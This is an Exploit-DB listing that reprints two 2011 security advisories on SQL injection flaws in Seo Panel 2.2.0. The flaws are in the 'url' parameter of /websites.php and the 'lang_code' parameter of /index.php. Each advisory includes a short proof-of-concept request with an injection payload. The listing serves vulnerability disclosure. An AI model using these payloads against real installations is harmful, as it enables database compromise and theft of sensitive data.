Seo Panel 2.2.0 - SQL Injection Vulnerabilities

2011-02-15T00:00:00
ID EDB-ID:16175
Type exploitdb
Reporter High-Tech Bridge SA
Modified 2011-02-15T00:00:00

Description

Seo Panel 2.2.0 - SQL Injection Vulnerabilities. Webapps exploit for php platform

                                        
                                            Vulnerability ID: HTB22824
Reference: http://www.htbridge.ch/advisory/sql_injection_in_seo_panel_1.html
Product: Seo Panel
Vendor: http://www.seopanel.in/ ( http://www.seopanel.in/ )
Vulnerable Version: 2.2.0
Vendor Notification: 01 February 2011
Vulnerability Type: SQL Injection
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/websites.php" script to properly sanitize user-supplied input in "url" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:

POST /websites.php HTTP/1.1

sec=create&name=123&url=http%3A%2F%2F123'%2Cversion()%2C1%2C1%2C2%2C1)%2
0--%20&title=1&description=1&keywords=1

Vulnerability ID: HTB22823
Reference: http://www.htbridge.ch/advisory/sql_injection_in_seo_panel.html
Product: Seo Panel
Vendor: http://www.seopanel.in/ ( http://www.seopanel.in/ )
Vulnerable Version: 2.2.0
Vendor Notification: 01 February 2011
Vulnerability Type: SQL Injection
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "lang_code" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:

http://[host]/index.php?&lang_code=1%27SQL_CODE_HERE